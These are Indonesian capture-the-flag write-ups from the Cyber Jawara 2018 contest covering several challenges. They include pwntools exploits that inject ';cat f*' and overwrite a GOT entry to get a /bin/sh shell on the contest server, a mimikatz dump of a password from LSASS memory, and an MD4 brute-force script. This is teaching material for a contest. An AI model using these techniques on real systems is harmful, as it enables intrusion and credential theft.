nc soal.jawara.idsirtii.or.id 31337

Catatan: Untuk menyelesaikan soal ini tidak diperlukan brute-force, segala bentuk DoS/DDoS/Brute-force dilarang dalam soal ini. Mohon berhenti setelah Anda berhasil mendapatkan flag.

## 2. Technical Report

Diberikan sebuah binary.

```
void __noreturn service()
{
    login();
    while ( 1 )
    {
        puts(&s);
        printf("Welcome %s!\n", username);
        puts("1) Set IP Address");
        puts("2) Ping");
        puts("3) Logout");
        puts(&s);
        choice = getchar();
        getchar();
        switch ( choice )
        {
            case '2':
                ping();
                break;
            case '3':
                logout();
                login();
                break;
            case '1':
                setIP();
                break;
        }
    }
}
```

Binary ini dapat melakukan perintah ping lewat fungsi popen ke IP yang kita inputkan.

```
int setIP()
{
    int result; // eax@2
    int v1; // [sp+Ch] [bp-4h]@1

    printf("IP Address: ");
    v1 = input();
    if ( (unsigned int)validIP(v1) )
    {
        address = malloc(v1 + 1);
        memcpy(address, buff, v1 - 1);
        result = puts("OK");
    }
    else
    {
        result = puts("Invalid IP!");
    }
    return result;
}
```



```

}
__int64 ping()
{
    FILE *stream; // [sp+8h] [bp-58h]@2
    char s; // [sp+10h] [bp-50h]@1
    __int64 v3; // [sp+58h] [bp-8h]@1

    v3 = *MK_FP(__FS__, 40LL);
    memset(&s, 0, 0x40uLL);
    if ( address )
    {
        sprintf(&s, "%s%s", "/bin/ping -c 1 ", address);
        stream = popen(&s, "r");
        if ( !stream )
        {
            puts("Failed to execute ping");
            exit(1);
        }
        while ( fgets(::result, 1024, stream) )
            printf("%s", ::result);
        pclose(stream);
    }
    else
    {
        puts("No IP Address");
    }
    return *MK_FP(__FS__, 40LL) ^ v3;
}
int login()
{
    int v0; // ST0C_4@1

    puts(&s);
    puts("* LOGIN *");
    printf("Username: ");
    v0 = input();
    username = malloc(v0 + 1);
    memcpy(username, buff, v0 - 1);
    return puts(&s);
}
__int64 logout()
{
    __int64 result; // rax@5

    puts("Logged Out");
    printf("Quit? (Y/N): ");
    if ( username )
        free(username);
    if ( address )
        free(address);
    choice = getchar();
    getchar();
    result = (unsigned __int8)choice;
    if ( choice == 'Y' )
        exit(0);
    return result;
}
signed __int64 __fastcall validIP(int a1)
{
    int i; // [sp+10h] [bp-4h]@1

```

```

for ( i = 0; i < a1; ++i )
{
    if ( buff[(signed __int64)i] != '.'
        && (buff[(signed __int64)i] <= '/' || buff[(signed __int64)i] > '9')
        && buff[(signed __int64)i] != '\n' )
    {
        return 0LL;
    }
}
return 1LL;
}

```

Kita tidak bisa melakukan command injection secara langsung karena program memfilter inputan kita yang hanya boleh menginputkan angka dan titik.

Skenario yang kami buat adalah dengan cara Melakukan logout dan membatalkannya. melakukan logout akan membuat variable global address dan username di free kan, dan program akan kembali ke awal dengan mengalokasikan memory untuk username baru, hal ini membuat variable username dan address berisi alamat memory yang sama. Setelah itu kita dapat memasukkan username dengan payload yang kita buat.

```

from pwn import *
p = remote("soal.jawara.idsirtii.or.id", 31337)
p.recvuntil(":")
p.sendline("Helllo")
p.recvline()
p.sendline('1')
p.recvuntil(":")
p.sendline(".*6")
p.recvline()
p.sendline("3")
p.sendline("N")
p.recvuntil(":")
p.sendline(";cat f*")
p.interactive()

```

Jalankan exploit diatas, dan pergi ke menu untuk melakukan ping.

```

python solve.py
[+] Opening connection to soal.jawara.idsirtii.or.id on port 31337: Done
[*] Switching to interactive mode

* LOGIN *
Username:

Welcome ;cat f*
2!
1) Set IP Address
2) Ping
3) Logout
$ 2

CJ2018{d0_n0t_Use_After_Free}

Welcome ;cat f*

```

```
2!  
1) Set IP Address  
2) Ping  
3) Logout  
$
```

### 3. Conclusion

**Flag : CJ2018{d0\_n0t\_Use\_After\_Free}**



**CYBER  
JAWARA**

**[SOAL 14][*Nemesis*]**

---

## Table of Contents

**Capture The Flag Report**

## 1. Executive Summary

Program ini adalah modifikasi dari Morpheus. Anda tidak mendapatkan source code-nya. Dapatkah Anda mengeksploitasinya?

```
nc soal.jawara.idsirtii.or.id 51337
```

```
$ uname -r -v
```

```
4.4.0-135-generic #161-Ubuntu SMP Mon Aug 27 10:45:01 UTC 2018
```

Libc: <https://drive.google.com/open?id=1uCLa4DRFzi80nAVwxRMms9NBuP6pDyPL>

## 2. Technical Report

Diberikan sebuah file elf binary 64bit dan sebuah file libc. Jika dilihat dihasil decompilennya, program ini hampir mirip program pada challenge Morpheus. Hanya saja terdapat beberapa perbedaan yaitu:

Di nemesis ini bug overflow berada pada saat kita mengganti nama untuk hero dengan id 1.

```
case 0x32:
    printf("Insert Name: ");
    fgets(*(char **)b, 322, stdin);
    result = strtok(*(char **)b, "\n");
    break;
```

Dan kita tidak akan diberikan flag jika kita memenangkan battle

```
puts("\n\n ***** You Won! ***** \n\n");
puts("Thank you player!");
puts("But our princess is in another castle!");
exit(0);
}
```

Untuk mendapatkan akses shell, kita dapat memanfaatkan bug overflow yang telah kami sebutkan diatas. Skenario yang kami buat adalah.

- Overwrite pointer name menjadi alamat strtok pada got dengan memanfaatkan bug overflow.
- Dapatkan nilai strtok, dan kalkulasikan agar mendapatkan base address libc dan mendapatkan alamat fungsi system.
- Overwrite alamat strtok menjadi alamat fungsi system dengan cara mengganti nama hero.

Setelah strtok diganti dengan alamat system, kita dapat mentrigger pemanggilan ke system dengan cara mengganti nama hero id apapun dengan command shell. Berikut adalah exploit yang kami buat.

```
from pwn import *
strtok = 0x602058
#libc = ELF('./libc.so.6')
libc = ELF('./libc-2.28.so')
#p = process("./nemesis")
p = remote("soal.jawara.idsirtii.or.id", 51337)
```

```

p.recvuntil(":")
p.sendline("1")
p.recvuntil("Choice:")
p.sendline("2")
b = "A"*8*6+p64(strtok)+p32(2000000000)+p32(2000000000)
p.sendline(b)
p.recvuntil("3\n| Name : ")
leak = u64(p.recvuntil("\n", drop=True).ljust(8, "\x00"))
libc.address = leak - libc.symbols['strtok']
sys = p64(libc.symbols['system'])
p.recvuntil("Choice:")
p.sendline("1")
p.sendline("3")
p.sendline(sys)
p.sendline("1")
p.sendline("1")
p.sendline("/bin/sh")
p.interactive()

```

Jalankan exploit diatas.

```

% python solve.py
[*] '/home/n0psledbyte/ctf/CJ2018/pwn/nemesis/libc-2.28.so'
Arch:      amd64-64-little
RELRO:     Partial RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
[+] Opening connection to soal.jawara.idsirtii.or.id on port 51337: Done
[*] Switching to interactive mode
Select ID: Insert Name: *-*****
| ID   : 1
| Name : Archa
| HP   : 100
| ATK  : 25
*-----*
*-----*
| ID   : 2
| Name : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAX `
| HP   : 110
| ATK  : 21
*-----*
*-----*
| ID   : 3
| Name :
| HP   : 2000000000
| ATK  : 2000000000
*-----*

1) Change Name
2) Train HP
3) Train ATK
4) Battle
Choice: Select ID: Insert Name: $ ls
a.out
flag.txt
nemesis
$ cat flag.txt

```

CJ2018{heap\_00oooo000ooo00verflow\_to\_RCE}

### 3. Conclusion

Flag : CJ2018{heap\_00oooo000ooo00Overflow\_to\_RCE}



# CYBER JAWARA

[SOAL 15][*Sniffing*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

Anda memiliki rekaman paket data jaringan. Sepertinya ada yang mencoba login menggunakan HTTP request yang tidak terenkripsi.



## 2. Technical Report

Di berikan file .pcap bisa langsung di strings dan grep dengan format flag untuk mendapatkan flag dengan command :

```
strings sniffing.pcapng | grep CJ | cut -d "=" -f3 | cut -d "&" -f1
```

## 3. Conclusion

**Flag : CJ2018{sniffing\_is\_child\_play}**



**CYBER  
JAWARA**

**[SOAL 16]** [*Windows Registry*]

---

**Table of Contents**

---

# Capture The Flag Report

## 1. Executive Summary

**Anda** dimintai tolong oleh rekan Anda untuk memeriksa Windows-nya yang terkena malware. Anda pun melakukan dump terhadap Registry-nya. Diketahui bahwa malware tersebut berhasil menanamkan persistence dan tereksekusi setiap Windows tersebut startup. Apakah ada sesuatu pada Registry tersebut?

PERHATIAN: JANGAN IMPORT (KLIK DUA KALI FILE) REGISTRY-NYA DI WINDOWS ANDA!

<https://drive.google.com/open?id=1t3B5b6RXvAjlw68EfhWJAqMuEtje6I-VN>

## 2. Technical Report

Di berikan file CJ.reg

setelah membaca beberapa artikel untuk memahami tentang windows register, maka formatnya akan seperti ini "hex huruf 1", NULL, "hex huruf 2", NULL dan seterusnya

kami gunakan informasi ini untuk mencari flag

format flag "CJ" menjadi hex 43 4a

buka dengan text editor lalu search 43,00,4a,00

akan terdapat strings :

```
"security"=hex(2):25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,\
6c,00,65,00,73,00,25,00,5c,00,43,00,4a,00,5c,00,43,00,4a,00,32,00,30,00,31,\
00,38,00,7b,00,6d,00,61,00,6c,00,77,00,61,00,72,00,65,00,5f,00,73,00,69,00,\
6d,00,70,00,6c,00,65,00,5f,00,70,00,65,00,72,00,73,00,69,00,73,00,74,00,65,\
00,6e,00,63,00,65,00,7d,00,00,00
```

tinggal script dengan script python berikut:

```
flag = ""25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,\
6c,00,65,00,73,00,25,00,5c,00,43,00,4a,00,5c,00,43,00,4a,00,32,00,30,00,31,\
00,38,00,7b,00,6d,00,61,00,6c,00,77,00,61,00,72,00,65,00,5f,00,73,00,69,00,\
6d,00,70,00,6c,00,65,00,5f,00,70,00,65,00,72,00,73,00,69,00,73,00,74,00,65,\
00,6e,00,63,00,65,00,7d,00,00,00"".replace("00", "").split(",")

print "[+] Flag : %s" %"".join(i.strip().decode("hex") for i in flag)
```

## 3. Conclusion

**Flag : CJ2018{malware\_simple\_persistence}**



# CYBER JAWARA

[SOAL 17][*LSASS*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

**LSASS** atau Local Security Authority Subsystem Service adalah layanan pada Windows terkait dengan otentikasi seperti pergantian password dan access token.

Berikut adalah memory dump terhadap lsass.exe pada Windows 7. Dapatkah Anda menemukan password dari salah satu user pada sistem tersebut?

<https://drive.google.com/open?id=1y21FRYh6Eiq2RiDjk2d-YasSPE-iaSo0>

## 2. Technical Report

Diberikan sebuah process dump dari lsass.exe yang terdapat password dari user.

Untuk membaca password dari process tersebut, kami menggunakan `mimikatz (x86)`

### Select mimikatz 2.1.1 x86 (oe.eo)

```
.#####.  mimikatz 2.1.1 (x86) built on Aug 20 2018 01:53:40
.## ^ ##.  "A La Vie, A L'Amour" - (oe.eo) ** Kitten Edition **
## / \ ##  /** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > http://blog.gentilkiwi.com/mimikatz
'## v ##'   Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'    > http://pingcastle.com / http://mysmartlogon.com   **/

mimikatz # sekurlsa::Minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz # sekurlsa::logonPasswords
Opening : 'lsass.dmp' file for minidump...

Authentication Id : 0 ; 631221 (00000000:0009a1b5)
Session           : Interactive from 2
User Name         : CJ
Domain            : IE11WIN7
Logon Server      : IE11WIN7
Logon Time        : 8/15/2018 2:21:26 PM
SID               : S-1-5-21-3463664321-2923530833-3546627382-1001

msv :
  [00000003] Primary
    * Username : CJ
    * Domain   : IE11WIN7
    * NTLM     : 24191937d471eea79e394dc523a872b0
    * SHA1     : fd50f14b4a8b5b100840ea73d10af766ad8d1586
  [00010000] CredentialKeys
    * NTLM     : 24191937d471eea79e394dc523a872b0
    * SHA1     : fd50f14b4a8b5b100840ea73d10af766ad8d1586
tspkg :
wdigest :
  * Username : CJ
  * Domain   : IE11WIN7
  * Password : CJ2018{red teaming}
kerberos :
  * Username : CJ
  * Domain   : IE11WIN7
  * Password : (null)
```

## 3. Conclusion

**Flag : CJ2018{red\_teaming}**





# CYBER JAWARA

[SOAL 18][*Driver Message*]

## Table of Contents

---

### Capture The Flag Report

#### 1. Executive Summary

Shizuka: Halo kaming, apa kabar?

Nobita: Baik, terima kasih cinta..

Shizuka: Udah makan belum?

Nobita: Udah, kamu lagi dimana?

Shizuka: Aku di kernel mu...

Nobita: Zzzzzzzzzzzzzzzzz

Temukan pesan Shizuka kepada Nobita...

Core-6.4.zip SHA256 checksum: 2878a6f509cddb9ffb9b0816dd47c7c4e0a6441bb96ea6a7122668c2a9db3aee

<https://drive.google.com/open?id=10JpRben3eYB-aDQIqALSr8S8Yqbx7Q7r>

## 2. Technical Report

Diberikan sebuah file zip yang apabila diekstrak terdapat file `.iso`, file tersebut ternyata adalah `.iso` dari Tiny Core Linux

```
$ file Core-6.4.iso
Core-6.4.iso: ISO 9660 CD-ROM filesystem data '-TC-custom' (bootable)
```

Kami Install file `.iso` Tiny Core linux tersebut menggunakan VirtualBox. Karena mendapat petunjuk dari judul dan deskrip soal, kami mencoba membaca Kernel Message nya menggunakan command `cat /proc/kmsg`

```
tc@box:~$ sudo su
root@box:/home/tc# cat /proc/kmsg > /tmp/kmsg
^C
root@box:/home/tc# cat /tmp/kmsg | grep -i CJ
<6>CJ2018{bro_learn_how_to_compile_your_own_kernel}
root@box:/home/tc#
```

## 3. Conclusion

**Flag : CJ2018{bro\_learn\_how\_to\_compile\_your\_own\_kernel}**





# CYBER JAWARA

[SOAL 19][*In Memory Forensic*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

Kepolisian Republik Indonesia dan BSSN di bawah kordinasi Forensik Specialist Mr. Hamdan Abdul Aziz melacak dan menangkap tersangka utama pimpinan geng penjahat siber yang beroperasi di Bali. Dalam modus operandinya pelaku dengan inisial M.S melancarkan aksinya dengan mengkordinasikan geng cyber criminalnya yang beroperasi dari Eropa Timur melalui Facebook. Didapatkan barang bukti berupa puluhan kartu kredit serta debit, 7 buah smartphone, dan 3 buah laptop. Dari sekian artifact forensik yang harus dilakukan analisis secara mendalam, terdapat sebuah file penting yang didapatkan ketika komputer masih dalam keadaan hidup. Bantu Kang Hamdan untuk menemukan credential facebook tersangka M.S pada file berikut:





# CYBER JAWARA

[SOAL 20][*Emoclew*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

Reversed string

#### 2. Technical Report

Terdapat strings `}\!5r3kc4h_3m0cl3w{8102JC :galF`  
tinggal reverse akan mendapatkan flag

```
$ echo "}\!5r3kc4h_3m0cl3w{8102JC :galF" | rev
```

### 3. Conclusion

Flag: CJ2018{w3lc0m3\_h4ck3r5!}



# CYBER JAWARA

[SOAL 21][*Invisible Maze*]

## Table of Contents

---

### Capture The Flag Report

#### 1. Executive Summary

Dapatkan kamu menyelesaikan labirin dengan tembok tak terlihat ini?

<http://soal.jawara.idsirtii.or.id:1000/>

#### 2. Technical Report



Di berikan url <http://soal.jawara.idsirtii.or.id:1000/> yang isinya hanya gambar cek source terdapat script maze.js di <http://soal.jawara.idsirtii.or.id:1000/maze.js> yang di dalamnya ada script JSfuck jalankan jsfuck nya saja tanpa javascript lainnya di console browser, maka akan muncul flag

### 3. Conclusion

**Flag : CJ2018{CJ\_trolling\_players\_since\_old\_times}**



# CYBER JAWARA

[SOAL 22][*Bonus 1*]

## Table of Contents

---

### Capture The Flag Report

#### 1. Executive Summary

Terima kasih telah mengikuti Cyber Jawa. Mohon maaf atas kekurangan yang terjadi.

## 2. Technical Report

Di beri gambar pada url :

<https://ctf.jawara.idsirtii.or.id/files/b1659ba281a4efeb4cb35cb3be2a351a/bonus1.jpg>

download dan jalankan command `strings gambar` maka di akhir strings akan terdapat flag

## 3. Conclusion

**CJ2018{S3mog4\_b3rk4h}**



**CYBER  
JAWARA**

**[SOAL 23][*Bonus 2*]**

**Table of Contents**



# Capture The Flag Report

## 1. Executive Summary

Terima kasih telah mengikuti Cyber Jawa. Mohon maaf atas kekurangan yang terjadi.

Hint: Perbaiki PNG File Header

## 2. Technical Report

Buka gambar di url :

<https://ctf.jawara.idsirtii.or.id/files/230ea165915a5318cdc7564afcb0ea89/bonus22.png> maka langsung terdapat flag

## 3. Conclusion

CJ2018{bonussss\_untuk\_////kamu}



**CYBER  
JAWARA**

[SOAL 24][*Bonus 3*]

# Table of Contents

---

## Capture The Flag Report

### 1. Executive Summary

**Terima** kasih telah mengikuti Cyber Jawa. Mohon maaf atas kekurangan yang terjadi.

[https://drive.google.com/open?id=1nwnKoMvX9aLHmFhw5pWnPQiheY\\_HMC9Z](https://drive.google.com/open?id=1nwnKoMvX9aLHmFhw5pWnPQiheY_HMC9Z)

### 2. Technical Report

Download file dari alamat

<https://ctf.jawara.idsirtii.or.id/files/230ea165915a5318cdc7564afcb0ea89/bonus22.png>

extract dan terdapat bermacam ekstensi, ubah semua file ke format .png dengan command

```
ls | cat -n | while read n f; do mv "$f" "gambar-$n.png"; done
```

akan terdapat 1 gambar yang terbaca png dan itu flag nya

### 3. Conclusion

**Flag : CJ2018{bonussss\_untuk\_yang\_setia\_sama\_CJ}**



# CYBER JAWARA

[SOAL 25][*Recon*]

## Table of Contents

### Capture The Flag Report

#### 1. Executive Summary

Kami punya hadiah spesial untuk Anda yang ada pada alamat `pegel-linux.pw`.

Anda perlu penerawangan seorang peretas untuk mendapatkan flagnya.

"Gali" semuanya untuk menemukan hadiahmu!

Flag dalam format `CJ2018{flag}`

## 2. Technical Report

Diberikan url `pegel-linux.pw` untuk di “gali” informasi nya, gunakan `dig` dengan command :

```
dig TXT pegel-linux.pw
```

akan terdapat strings `yougotit=the_flag_is_TvS2glucweLsNF5XD9`

## 3. Conclusion

**Flag : CJ2018{TvS2glucweLsNF5XD9}**



**CYBER  
JAWARA**

[SOAL 26][*Nama Soal*]

---

**Table of Contents**

---

# Capture The Flag Report

## 1. Executive Summary

Save the **hash**, save the password!

Selamat malam hackers,

Kami sedang berada pada situasi yang rumit. Sebuah infrastruktur kritis yang sudah lama sekali tidak dapat kami kontrol lagi karena hilangnya akses kata sandi. Saat pergantian pegawai, terjadi suatu kecelakaan dan ada informasi yang hilang.

Pegawai yang bersangkutan (minta dirahasiakan namanya), menyimpan setiap karakter dari **hash** di dalam lembaran-lembaran yang disusun pada lemari arsip. Satu buah karakter per lembar. Pada saat pergantian kerja, lembaran ini rusak dan beberapa informasi telah hilang.

Tapi tidak semuanya hilang, ada beberapa karakter dari **hash** yang dapat dibuka: '**5b39XXXXXX09850885b72a536c4f003a**'. Karakter yang dituliskan dengan "X" adalah nilai heksadesimal yang telah hilang.

Kata sandi ini tidak rumit tapi kami hanya punya sedikit informasi. Pegawai yang bersangkutan hanya dapat mengingat bahwa kata sandi terdiri dari delapan karakter lowercase alphanumeric.

"Huruf q, huruf terakhir itu huruf q!" - dia berteriak. Akhirnya, dia mengingat bahwa dari delapan karakter, huruf pertama kata sandi itu adalah huruf "p" dan dua huruf terakhir passwordnya adalah huruf "oq". Ketika ditanya jenis **hash** yang digunakan, dia menggelengkan kepalanya. Setelah menahan nafas beberapa detik, dia menyadari bahwa dia tidak dapat mengingat jenis **hash** yang digunakan.

Kami membutuhkan bantuan Anda untuk mendapatkan kata sandi agar bisa mengakses kembali infrastruktur kritis. Masukkan flag nya dalam format: CJ2018{katasandi-hash}

## 2. Technical Report

Diberikan hash rusak **5b39XXXXXX09850885b72a536c4f003a**

di beri clue password dengan awal **p** dan akhiran **oq** dengan

panjang password = 8

password terdiri dari lowercase alphanum

berarti kita bisa melakukan bruteforce untuk me-recover password

awalnya kami terkecoh jika hash adalah MD5 setelah mencari tahu ternyata hash adalah md4,

tinggal buat script bruteforce nya :

```
import itertools
import hashlib
import string
from Crypto.Hash import MD4

def md4_str(tmp_passwd):
    h = MD4.new()
    h.update(tmp_passwd)
    return h.hexdigest()

chrs = string.ascii_lowercase + string.digits
passw = "p{oq}"
for s in itertools.product(chrs, repeat=5):
    tp = passw.format(''.join(s))
```

```
has = md4_str(tp)
if "09850885b72a536c4f003a" in has:
    print(tp)
    print(has)
    break
```

### 3. Conclusion

**Flag : CJ2018{p3ck99oq-5b39a3084409850885b72a536c4f003a}**